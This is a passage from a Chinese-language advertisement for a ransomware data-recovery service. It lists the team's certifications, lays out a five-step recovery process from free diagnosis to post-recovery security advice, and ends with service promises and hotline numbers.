  团队坚持自主研发及创新,在攻防演练平台、网络安全竞赛平台、网络安全学习平台方面加大研发投入,目前已获得十几项专利及知识产权。团队也先后通过了ISO9001质量管理体系、ISO14000环境管理体系、ISO45001职业安全健康管理体系 、ITSS(信息技术服务运行维护标准四级)等认证,已构建了网络安全行业合格的资质体系;

8.我们的数据恢复服务流程

  多年的数据恢复处理经验,在不断对客户服务优化的过程中搭建了"免费售前+安心保障+专业恢复+安全防御"一体化的专业服务流程。

① 免费咨询/数据诊断分析

​   专业的售前技术顾问服务,免费在线咨询,可第一时间获取数据中毒后的正确处理措施,防范勒索病毒在内网进一步扩散或二次执行,避免错误操作导致数据无法恢复。

​   售前技术顾问沟通了解客户的机器中毒相关信息,结合团队数据恢复案例库的相同案例进行分析评估,初步诊断分析中毒数据的加密/损坏情况。

② 评估报价/数据恢复方案

​   您获取售前顾问的初步诊断评估信息后,若同意进行进一步深入的数据恢复诊断,我们将立即安排专业病毒分析工程师及数据恢复工程师进行病毒逆向分析及数据恢复检测分析。

​   专业数据恢复工程师根据数据检测分析结果,定制数据恢复方案(恢复价格/恢复率/恢复工期),并为您解答数据恢复方案的相关疑问。

③ 确认下单/签订合同

​   您清楚了解数据恢复方案后,您可自主选择以下下单方式:

  双方签署对公合同:根据中毒数据分析情况,量身定制输出数据恢复合同,合同内明确客户的数据恢复内容、数据恢复率、恢复工期及双方权责条款,双方合同签订,正式进入数据恢复专业施工阶段,数据恢复后进行验证确认,数据验证无误,交易完成。

④ 开始数据恢复专业施工

  安排专业数据恢复工程师团队全程服务,告知客户数据恢复过程注意事项及相关方案措施,并可根据客户需求及数据情况,可选择上门恢复/远程恢复。

  数据恢复过程中,团队随时向您报告数据恢复每一个节点工作进展(数据扫描 → 数据检测 → 数据确认 → 恢复工具定制 → 执行数据恢复 → 数据完整性确认)。

⑤ 数据验收/安全防御方案

  完成数据恢复后,我司将安排数据分析工程师进行二次检查确认数据恢复完整性,充分保障客户的数据恢复权益,二次检测确认后,通知客户进行数据验证。

  客户对数据进行数据验证完成后,我司将指导后续相关注意事项及安全防范措施,并可提供专业的企业安全防范建设方案及安全顾问服务,抵御勒索病毒再次入侵。

                      我们在此郑重承诺:

                     不成功不收费

                     全程一对一服务

                     365天不间断服务

                     免费提供安全方案

                     24h服务热线:

                     18894665383

                     17864099776

                     18299173318